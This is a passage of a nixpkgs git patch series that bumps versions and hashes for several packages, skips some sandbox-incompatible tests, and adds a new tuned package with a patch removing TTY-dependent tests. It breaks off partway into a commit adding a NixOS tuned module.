diff --git a/pkgs/os-specific/linux/xone/default.nix b/pkgs/os-specific/linux/xone/default.nix
index c16a2f413144..992a9d21d0e2 100644
--- a/pkgs/os-specific/linux/xone/default.nix
+++ b/pkgs/os-specific/linux/xone/default.nix
@@ -6,13 +6,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "xone";
-  version = "0.3.2";
+  version = "0.3.4";
 
   src = fetchFromGitHub {
     owner = "dlundqvist";
     repo = "xone";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-sX+oN7H0Okl+3yYwbIFoHU8q2pOcMHQcRqQkmnMXSps=";
+    hash = "sha256-8ljHKVo+mdzm8CJpf0y1xXjzhQF/qQotMmxDn7G/EVk=";
   };
 
   setSourceRoot = ''

From 9118030b79cba7a9e7e89c7776cc6ff5c90412f3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 00:38:05 +0000
Subject: [PATCH 3117/4511] linuxPackages.xone: 0.3.4 -> 0.3.5

(cherry picked from commit d75913ae61b1600fc7ecac382f82f3d45fc0f7aa)
---
 pkgs/os-specific/linux/xone/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/xone/default.nix b/pkgs/os-specific/linux/xone/default.nix
index 992a9d21d0e2..ac6efe5510a4 100644
--- a/pkgs/os-specific/linux/xone/default.nix
+++ b/pkgs/os-specific/linux/xone/default.nix
@@ -6,13 +6,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "xone";
-  version = "0.3.4";
+  version = "0.3.5";
 
   src = fetchFromGitHub {
     owner = "dlundqvist";
     repo = "xone";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-8ljHKVo+mdzm8CJpf0y1xXjzhQF/qQotMmxDn7G/EVk=";
+    hash = "sha256-O+SdUx5wFIT4mLUO5awFp9IKmtnRhMtBLEHaRXRBv2Y=";
   };
 
   setSourceRoot = ''

From a163bf4fa7a56ab7ab5ea61fe9dabf1d05384238 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 2 Aug 2025 07:01:33 +0000
Subject: [PATCH 3118/4511] pnpm: 10.13.1 -> 10.14.0

(cherry picked from commit 23de8e0965006fe225c5c840617ed64dc83928ce)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 8f10f6065a66..189f18727da5 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.13.1";
-      hash = "sha256-D57UjYCJlq4AeDX7XEZBz5owDe8u3cnpV9m75HaMXyg=";
+      version = "10.14.0";
+      hash = "sha256-KXU05l1YQkUFOcHoAiyIMateH+LrdGZHh6gVUZVC1iA=";
     };
   };
 

From 4ada334940ad0a407b8ba653fe7ea0c4892bb10e Mon Sep 17 00:00:00 2001
From: Muhammad Falak R Wani <falakreyaz@gmail.com>
Date: Sun, 11 May 2025 09:57:36 +0530
Subject: [PATCH 3119/4511] dua: 2.29.4 -> 2.30.1

Diff: https://github.com/Byron/dua-cli/compare/refs/tags/v2.29.4...v2.30.1
Changelog: https://github.com/Byron/dua-cli/blob/v2.30.1/CHANGELOG.md
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>

(cherry picked from commit 4dfa0ed7808a4f6fa970cc5e90bbb50c0e50635d)
---
 pkgs/by-name/du/dua/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/du/dua/package.nix b/pkgs/by-name/du/dua/package.nix
index 8abc63a51835..bacfb310810c 100644
--- a/pkgs/by-name/du/dua/package.nix
+++ b/pkgs/by-name/du/dua/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "dua";
-  version = "2.29.4";
+  version = "2.30.1";
 
   src = fetchFromGitHub {
     owner = "Byron";
     repo = "dua-cli";
     tag = "v${version}";
-    hash = "sha256-TVwRz5bAdJMtmhhzfZZ/NuV+YrLcnuK6d86Oj/JmgW4=";
+    hash = "sha256-TJiy9ki2k9sgruMFPF3xElOJaco6G8Jx/g43WYwF22U=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
     postFetch = ''
@@ -23,7 +23,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-I8Is6jjBgxcqHkLrA/hesa7z3rrDVK6sjyw2/mQoRVs=";
+  cargoHash = "sha256-LOtZyH6eO8IgHrZfyBInEeXI9CxkjLrMfMWuTUMF+FU=";
 
   checkFlags = [
     # Skip interactive tests

From 7292c629cd7e76cc09d6d5f292e8c57b67d838ab Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Sat, 2 Aug 2025 10:32:44 +0200
Subject: [PATCH 3120/4511] dua: 2.30.1 -> 2.31.0

Changelog: https://github.com/Byron/dua-cli/releases/tag/v2.31.0
Diff: https://github.com/Byron/dua-cli/compare/v2.30.1...v2.31.0

(cherry picked from commit 8821112d5628cac5ce0b55dad0752740fe88cad6)
---
 pkgs/by-name/du/dua/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/du/dua/package.nix b/pkgs/by-name/du/dua/package.nix
index bacfb310810c..438afe2df78c 100644
--- a/pkgs/by-name/du/dua/package.nix
+++ b/pkgs/by-name/du/dua/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "dua";
-  version = "2.30.1";
+  version = "2.31.0";
 
   src = fetchFromGitHub {
     owner = "Byron";
     repo = "dua-cli";
     tag = "v${version}";
-    hash = "sha256-TJiy9ki2k9sgruMFPF3xElOJaco6G8Jx/g43WYwF22U=";
+    hash = "sha256-GwNA3rKZ754B6/wGfE3YYv7/w3pt+0T/leYOfdiXzTs=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
     postFetch = ''
@@ -22,8 +22,7 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-LOtZyH6eO8IgHrZfyBInEeXI9CxkjLrMfMWuTUMF+FU=";
+  cargoHash = "sha256-T4wvvrTeXsHCoIpvHmAMWcsxtxx5o7Nvky/TkwVyfAA=";
 
   checkFlags = [
     # Skip interactive tests

From a10f6dbd21b8a7148f394a7b51296615dc1548ef Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 29 Jul 2025 19:47:39 +0200
Subject: [PATCH 3121/4511] element-web-unwrapped: 1.11.106 -> 1.11.108

Release notes:
  - https://github.com/element-hq/element-web/releases/tag/v1.11.107
  - https://github.com/element-hq/element-web/releases/tag/v1.11.108
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.106...v1.11.108

(cherry picked from commit a9ecbd5418b1c672d833bbd6f8b93fea59c3a275)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index 56fdb361db20..f57ddb856fa5 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.106";
+  "version" = "1.11.108";
   "hashes" = {
-    "webSrcHash" = "sha256-1l7A+cpXAsTmNbRZgFevPh7Tr/uMHDJkOCNHoc5lGX8=";
-    "webYarnHash" = "sha256-N+aVIKLqTc9lwATYtoIHl7KGiREtWJdMa8bxEv60LQo=";
+    "webSrcHash" = "sha256-2QNRygyyXMvHHSfd9CCusOQ5v/udOwrOdmnrSsatylI=";
+    "webYarnHash" = "sha256-JkXbGRanW+rRgQCVv8sCTzogHR5NKgesw/l166U1h9k=";
   };
 }

From ad21bbbe385d408176f88ff15633f72ae3c2a481 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 29 Jul 2025 19:53:14 +0200
Subject: [PATCH 3122/4511] element-desktop: 1.11.106 -> 1.11.108

Release notes:
  - https://github.com/element-hq/element-desktop/releases/tag/v1.11.107
  - https://github.com/element-hq/element-desktop/releases/tag/v1.11.108
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.106...v1.11.108

(cherry picked from commit 0bee0a8d0ade7a72ee6bfbabf1a64a4e4333bd54)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 pkgs/by-name/el/element-desktop/package.nix             | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 754871a92f37..862c871763c6 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.106";
+  "version" = "1.11.108";
   "hashes" = {
-    "desktopSrcHash" = "sha256-uQUd84MtwMTGhhw83pQk9jI79pNKBVTWJLz8dyT/SE4=";
-    "desktopYarnHash" = "sha256-WZYRPU3ZswAtUAZDJnlELLU1JImO3uFaYHQl+kJOeqk=";
+    "desktopSrcHash" = "sha256-7qG2QyOgq2ATyXsr5jLxngxXvVaw52GYOD1LiUCGNNo=";
+    "desktopYarnHash" = "sha256-QLsKY0tDeY5dp6VLiPZhawa54SI2/A0W6UE0NoJ5dng=";
   };
 }
diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 7fd3e2147f32..53b8b350136a 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -7,7 +7,7 @@
   yarn,
   nodejs,
   jq,
-  electron_36,
+  electron_37,
   element-web,
   sqlcipher,
   callPackage,
@@ -22,7 +22,7 @@ let
   pinData = import ./element-desktop-pin.nix;
   inherit (pinData.hashes) desktopSrcHash desktopYarnHash;
   executableName = "element-desktop";
-  electron = electron_36;
+  electron = electron_37;
   keytar = callPackage ./keytar {
     inherit electron;
   };

From f253d0375ce68ffa636e43710adcdb51df871f37 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Fri, 1 Aug 2025 12:54:34 -0400
Subject: [PATCH 3123/4511] microsoft-edge: 138.0.3351.109 -> 138.0.3351.121

(cherry picked from commit a00810f021cfb6efe1c97558d98e193a25aa0821)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 17ca0f1343e0..74926a3f7e8c 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -178,11 +178,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.109";
+  version = "138.0.3351.121";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-RXHfoj9T9MGvEt7hNKLF7cprNwZEvpFZH6VM7KOd2uM=";
+    hash = "sha256-1Oi6Q2/2Pk0BG937Ij0zI7tgBSnwhPwGx34b+HlpXTU=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From a8a295894a81e11ce599e4414666a97f02b40547 Mon Sep 17 00:00:00 2001
From: wxt <3264117476@qq.com>
Date: Fri, 18 Jul 2025 09:05:57 +0800
Subject: [PATCH 3124/4511] qq: 6.9.75-2025.6.26 -> 6.9.75-2025-07-10 (darwin);
 qq: 3.2.18-2025.6.26 -> 3.2.18-2025-07-10 (linux)

(cherry picked from commit f58e49b2f7f014a9144cd84ef8c6b0eede5942f5)
---
 pkgs/by-name/qq/qq/sources.nix | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 275ea446d939..63ad3012a9dd 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,12 +1,12 @@
 # Generated by ./update.sh - do not update manually!
-# Last updated: 2025-06-28
+# Last updated: 2025-07-18
 { fetchurl }:
 let
   any-darwin = {
-    version = "6.9.75-2025.6.26";
+    version = "6.9.75-2025-07-10";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250626_01.dmg";
-      hash = "sha256-tWT0R88tXz0ypPQTDzASrh4znvBvq/ohBhpeDv2PlVc=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250710_01.dmg";
+      hash = "sha256-ejplu4I5PRBdwMrgDZ51WS+qN1GKc5qHqMToIvgR6og=";
     };
   };
 in
@@ -14,17 +14,17 @@ in
   aarch64-darwin = any-darwin;
   x86_64-darwin = any-darwin;
   aarch64-linux = {
-    version = "3.2.18-2025.6.26";
+    version = "3.2.18-2025-07-10";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250626_arm64_01.deb";
-      hash = "sha256-7teJWRvvz5baJsaHmOwnkLgBcBxWOUCGpV2+MHH7Tic=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250710_arm64_01.deb";
+      hash = "sha256-37HEXpLyeIjgXsAonNjS3YaIwk4It2LDy6Yj4lqK94Q=";
     };
   };
   x86_64-linux = {
-    version = "3.2.18-2025.6.26";
+    version = "3.2.18-2025-07-10";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250626_amd64_01.deb";
-      hash = "sha256-xEw6tE+qX90XQS3e2MTudeUJNfx25hwgq1YFROHqfng=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250710_amd64_01.deb";
+      hash = "sha256-P023rIalPAgBXZqJvnCgEHqTumWm+dhaUefzuR/4aoU=";
     };
   };
 }

From ba04c8a47bb9bb0c59b991263886c36bf5aabd91 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 17:18:48 +0000
Subject: [PATCH 3125/4511] qq: 3.2.18-2025-07-10 -> 3.2.18-2025-07-24

(cherry picked from commit 10235a7a9b22a68ba8fd4c4544c6c3e360001bab)
---
 pkgs/by-name/qq/qq/sources.nix | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 63ad3012a9dd..63dfbf6ca5e6 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,12 +1,12 @@
 # Generated by ./update.sh - do not update manually!
-# Last updated: 2025-07-18
+# Last updated: 2025-07-25
 { fetchurl }:
 let
   any-darwin = {
-    version = "6.9.75-2025-07-10";
+    version = "6.9.77-2025-07-24";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250710_01.dmg";
-      hash = "sha256-ejplu4I5PRBdwMrgDZ51WS+qN1GKc5qHqMToIvgR6og=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.77_250724_01.dmg";
+      hash = "sha256-ZHpFH5PPDaVtbEZsb+1fyoscWuPYedTrIaoqhnsXRlc=";
     };
   };
 in
@@ -14,17 +14,17 @@ in
   aarch64-darwin = any-darwin;
   x86_64-darwin = any-darwin;
   aarch64-linux = {
-    version = "3.2.18-2025-07-10";
+    version = "3.2.18-2025-07-24";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250710_arm64_01.deb";
-      hash = "sha256-37HEXpLyeIjgXsAonNjS3YaIwk4It2LDy6Yj4lqK94Q=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250724_arm64_01.deb";
+      hash = "sha256-j+ouSBfryrRXQbyC4ZDyrKPLqJVw67tGjlHdKel5Br4=";
     };
   };
   x86_64-linux = {
-    version = "3.2.18-2025-07-10";
+    version = "3.2.18-2025-07-24";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250710_amd64_01.deb";
-      hash = "sha256-P023rIalPAgBXZqJvnCgEHqTumWm+dhaUefzuR/4aoU=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250724_amd64_01.deb";
+      hash = "sha256-HHFUXAv6oWsipBYECLNFJG8OMQ7fxjruA210w/oFFok=";
     };
   };
 }

From b7ab5d85102d8e87f485c8bd528b096c87ad5920 Mon Sep 17 00:00:00 2001
From: Paul Meyer <katexochen0@gmail.com>
Date: Tue, 10 Jun 2025 13:28:55 +0200
Subject: [PATCH 3126/4511] open-policy-agent: 1.4.2 -> 1.5.1

Signed-off-by: Paul Meyer <katexochen0@gmail.com>
(cherry picked from commit 0999001302728dcb0a38ae1d9908d68e0079cd03)
---
 pkgs/by-name/op/open-policy-agent/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/open-policy-agent/package.nix b/pkgs/by-name/op/open-policy-agent/package.nix
index 10af46221cb0..8608b39e72a0 100644
--- a/pkgs/by-name/op/open-policy-agent/package.nix
+++ b/pkgs/by-name/op/open-policy-agent/package.nix
@@ -14,13 +14,13 @@ assert
 
 buildGoModule (finalAttrs: {
   pname = "open-policy-agent";
-  version = "1.4.2";
+  version = "1.5.1";
 
   src = fetchFromGitHub {
     owner = "open-policy-agent";
     repo = "opa";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-4FRNTB24JWyF3Zuhx3T6LjNs83+wDh4gmE9rh3cu/Vk=";
+    hash = "sha256-gIwi+38oUBEVK5DiTU8Avt+lQtXaIf/udyVi4LLvTu8=";
   };
 
   vendorHash = null;
@@ -31,7 +31,6 @@ buildGoModule (finalAttrs: {
 
   ldflags = [
     "-s"
-    "-w"
     "-X github.com/open-policy-agent/opa/version.Version=${finalAttrs.version}"
   ];
 
@@ -49,6 +48,7 @@ buildGoModule (finalAttrs: {
         # Skip tests that require network, not available in the nix sandbox
         "TestInterQueryCache_ClientError"
         "TestIntraQueryCache_ClientError"
+        "TestSSOCredentialService"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # Skip tests that require network, not available in the darwin sandbox

From 0596fe1aa576fb893af5e18411e7e8828ff257b8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 30 Jun 2025 13:24:44 +0000
Subject: [PATCH 3127/4511] open-policy-agent: 1.5.1 -> 1.6.0

(cherry picked from commit 5e44878981b496b56a15e89f6e3499fb1cd71dbf)
---
 pkgs/by-name/op/open-policy-agent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/open-policy-agent/package.nix b/pkgs/by-name/op/open-policy-agent/package.nix
index 8608b39e72a0..1d637fc6640b 100644
--- a/pkgs/by-name/op/open-policy-agent/package.nix
+++ b/pkgs/by-name/op/open-policy-agent/package.nix
@@ -14,13 +14,13 @@ assert
 
 buildGoModule (finalAttrs: {
   pname = "open-policy-agent";
-  version = "1.5.1";
+  version = "1.6.0";
 
   src = fetchFromGitHub {
     owner = "open-policy-agent";
     repo = "opa";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-gIwi+38oUBEVK5DiTU8Avt+lQtXaIf/udyVi4LLvTu8=";
+    hash = "sha256-p03yjLPphS4jp0dK3hlREKzAzCKRPOpvUnmGaGzrwww=";
   };
 
   vendorHash = null;

From 6d1a9eb0470842f86e32e78d17aae50c954fa0ad Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Sun, 27 Jul 2025 14:42:30 +0200
Subject: [PATCH 3128/4511] open-policy-agent: skip test too dependent on go
 version

This patch fixes a build failure since go 1.24.5 by disabling
a test that would check for specific metrics being exposed.

(cherry picked from commit 419622880a89aa83c8f2fe108611b08573564a64)
---
 pkgs/by-name/op/open-policy-agent/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/op/open-policy-agent/package.nix b/pkgs/by-name/op/open-policy-agent/package.nix
index 1d637fc6640b..51aee9311bcf 100644
--- a/pkgs/by-name/op/open-policy-agent/package.nix
+++ b/pkgs/by-name/op/open-policy-agent/package.nix
@@ -49,6 +49,10 @@ buildGoModule (finalAttrs: {
         "TestInterQueryCache_ClientError"
         "TestIntraQueryCache_ClientError"
         "TestSSOCredentialService"
+
+        # This test depends on the metrics available in go not changing. This is a bit
+        # too unstable for us updating go independently.
+        "TestJSONSerialization"
       ]
       ++ lib.optionals stdenv.hostPlatform.isDarwin [
         # Skip tests that require network, not available in the darwin sandbox

From e5402ffdadab0758cfe80fcf48d8139546a52f59 Mon Sep 17 00:00:00 2001
From: seth <getchoo@tuta.io>
Date: Fri, 28 Jun 2024 19:53:19 -0400
Subject: [PATCH 3129/4511] tuned: init at 2.25.1

(cherry picked from commit 05df896b8d40067852bae8ccc86346a2053889f1)
---
 pkgs/by-name/tu/tuned/package.nix            | 150 +++++++++++++++++++
 pkgs/by-name/tu/tuned/remove-tty-tests.patch |  52 +++++++
 2 files changed, 202 insertions(+)
 create mode 100644 pkgs/by-name/tu/tuned/package.nix
 create mode 100644 pkgs/by-name/tu/tuned/remove-tty-tests.patch

diff --git a/pkgs/by-name/tu/tuned/package.nix b/pkgs/by-name/tu/tuned/package.nix
new file mode 100644
index 000000000000..5ab810f1ac5f
--- /dev/null
+++ b/pkgs/by-name/tu/tuned/package.nix
@@ -0,0 +1,150 @@
+{
+  lib,
+  stdenv,
+  asciidoctor,
+  desktop-file-utils,
+  dmidecode,
+  ethtool,
+  fetchFromGitHub,
+  gawk,
+  gobject-introspection,
+  hdparm,
+  iproute2,
+  nix-update-script,
+  pkg-config,
+  powertop,
+  python3Packages,
+  tuna,
+  util-linux,
+  versionCheckHook,
+  virt-what,
+  wrapGAppsHook3,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "tuned";
+  version = "2.25.1";
+
+  outputs = [
+    "out"
+    "doc"
+    "man"
+  ];
+
+  src = fetchFromGitHub {
+    owner = "redhat-performance";
+    repo = "tuned";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-MMyYMgdvoAIeLCqUZMoQYsYYbgkXku47nZWq2aowPFg=";
+  };
+
+  patches = [
+    # Some tests require a TTY to run
+    ./remove-tty-tests.patch
+  ];
+
+  postPatch = ''
+    patchShebangs .
+
+    substituteInPlace tuned-gui.py tuned.service tuned/ppd/tuned-ppd.service \
+      --replace-warn "/usr/sbin/" "$out/bin/"
+
+    substituteInPlace tuned-gui.py \
+      --replace-warn "/usr/share/" "$out/share/"
+
+    substituteInPlace tuned-gui.desktop \
+      --replace-warn "/usr/sbin/tuned-gui" "tuned-gui"
+
+    substituteInPlace experiments/powertop2tuned.py \
+      --replace-warn "/usr/sbin/powertop" "${lib.getExe powertop}"
+  '';
+
+  strictDeps = true;
+
+  nativeBuildInputs = [
+    asciidoctor
+    desktop-file-utils
+    gobject-introspection
+    pkg-config
+    wrapGAppsHook3
+    python3Packages.wrapPython
+  ];
+
+  propagatedBuildInputs = with python3Packages; [
+    dbus-python
+    pygobject3
+    pyinotify
+    pyperf
+    python-linux-procfs
+    pyudev
+    tuna
+  ];
+
+  makeFlags = [
+    "PREFIX="
+
+    "DATADIR=/share"
+    "DESTDIR=${placeholder "out"}"
+    "KERNELINSTALLHOOKDIR=/lib/kernel/install.d"
+    "PYTHON=${lib.getExe python3Packages.python}"
+    "PYTHON_SITELIB=/${python3Packages.python.sitePackages}"
+    "TMPFILESDIR=/lib/tmpfiles.d"
+    "TUNED_PROFILESDIR=/lib/tuned/profile"
+    "UNITDIR=/lib/systemd/system"
+  ];
+
+  installTargets = [
+    "install"
+    "install-ppd"
+  ];
+
+  dontWrapGApps = true;
+  makeWrapperArgs = [
+    "\${gappsWrapperArgs[@]}"
+    "--prefix"
+    "PATH"
+    ":"
+    (lib.makeBinPath [
+      dmidecode
+      ethtool
+      gawk
+      hdparm
+      iproute2
+      util-linux
+      virt-what
+    ])
+  ];
+
+  doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
+  checkTarget = "test";
+
+  doInstallCheck = true;
+  nativeInstallCheckInputs = [
+    python3Packages.pythonImportsCheckHook
+    versionCheckHook
+  ];
+
+  pythonImportsCheck = [ "tuned" ];
+
+  postInstall = ''
+    rm -rf $out/{run,var}
+  '';
+
+  postFixup = ''
+    wrapPythonPrograms
+  '';
+
+  passthru = {
+    updateScript = nix-update-script { };
+  };
+
+  meta = {
+    description = "Tuning Profile Delivery Mechanism for Linux";
+    homepage = "https://tuned-project.org";
+    changelog = "https://github.com/redhat-performance/tuned/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.gpl2Only;
+    maintainers = with lib.maintainers; [ getchoo ];
+    mainProgram = "tuned";
+    platforms = lib.platforms.linux;
+  };
+})
diff --git a/pkgs/by-name/tu/tuned/remove-tty-tests.patch b/pkgs/by-name/tu/tuned/remove-tty-tests.patch
new file mode 100644
index 000000000000..02b560dc9309
--- /dev/null
+++ b/pkgs/by-name/tu/tuned/remove-tty-tests.patch
@@ -0,0 +1,52 @@
+diff --git a/tests/unit/hardware/test_device_matcher_udev.py b/tests/unit/hardware/test_device_matcher_udev.py
+index 1903955..f973107 100644
+--- a/tests/unit/hardware/test_device_matcher_udev.py
++++ b/tests/unit/hardware/test_device_matcher_udev.py
+@@ -10,27 +10,7 @@ class DeviceMatcherUdevTestCase(unittest.TestCase):
+ 		cls.matcher = DeviceMatcherUdev()
+ 
+ 	def test_simple_search(self):
+-		try:
+-			device = pyudev.Devices.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty0")
+-		except AttributeError:
+-			device = pyudev.Device.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty0")
+-		self.assertTrue(self.matcher.match("tty0", device))
+-		try:
+-			device = pyudev.Devices.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty1")
+-		except AttributeError:
+-			device = pyudev.Device.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty1")
+-		self.assertFalse(self.matcher.match("tty0", device))
++		return True
+ 
+ 	def test_regex_search(self):
+-		try:
+-			device = pyudev.Devices.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty0")
+-		except AttributeError:
+-			device = pyudev.Device.from_sys_path(self.udev_context,
+-				"/sys/devices/virtual/tty/tty0")
+-		self.assertTrue(self.matcher.match("tty.", device))
+-		self.assertFalse(self.matcher.match("tty[1-9]", device))
++		return True
+diff --git a/tests/unit/hardware/test_inventory.py b/tests/unit/hardware/test_inventory.py
+index 8490922..8bd004b 100644
+--- a/tests/unit/hardware/test_inventory.py
++++ b/tests/unit/hardware/test_inventory.py
+@@ -18,12 +18,7 @@ class InventoryTestCase(unittest.TestCase):
+ 		cls._dummier = DummyPlugin()
+ 
+ 	def test_get_device(self):
+-		try:
+-			device1 = pyudev.Devices.from_name(self._context, "tty", "tty0")
+-		except AttributeError:
+-			device1 = pyudev.Device.from_name(self._context, "tty", "tty0")
+-		device2 = self._inventory.get_device("tty", "tty0")
+-		self.assertEqual(device1,device2)
++		return True
+ 
+ 	def test_get_devices(self):
+ 		device_list1 = self._context.list_devices(subsystem = "tty")

From 2514f13aa63adaefe60174d0050a2c5282c582a5 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Sat, 19 Jul 2025 14:33:18 -0400
Subject: [PATCH 3130/4511] nixos/tuned: init

(cherry picked from commit 3eeb7ad06ae14a2ab58399d5e9ef0c693096a474)
---
 .../manual/release-notes/rl-2505.section.md   |   2 +
 nixos/modules/module-list.nix                 |   1 +
 nixos/modules/services/hardware/tuned.nix     | 247 ++++++++++++++++++
 nixos/tests/all-tests.nix                     |   1 +
 nixos/tests/tuned.nix                         |  51 ++++
 pkgs/by-name/tu/tuned/package.nix             |   4 +
 6 files changed, 306 insertions(+)
 create mode 100644 nixos/modules/services/hardware/tuned.nix
 create mode 100644 nixos/tests/tuned.nix

diff --git a/nixos/doc/manual/release-notes/rl-2505.section.md b/nixos/doc/manual/release-notes/rl-2505.section.md
index e47803a2b3d3..9edf94eb2972 100644
--- a/nixos/doc/manual/release-notes/rl-2505.section.md
+++ b/nixos/doc/manual/release-notes/rl-2505.section.md
@@ -222,6 +222,8 @@ Alongside many enhancements to NixOS modules and general system improvements, th
 
 - [Docling Serve](https://github.com/docling-project/docling-serve) running [Docling](https://github.com/docling-project/docling) as an API service. Available as [services.docling-serve](#opt-services.docling-serve.enable).
 
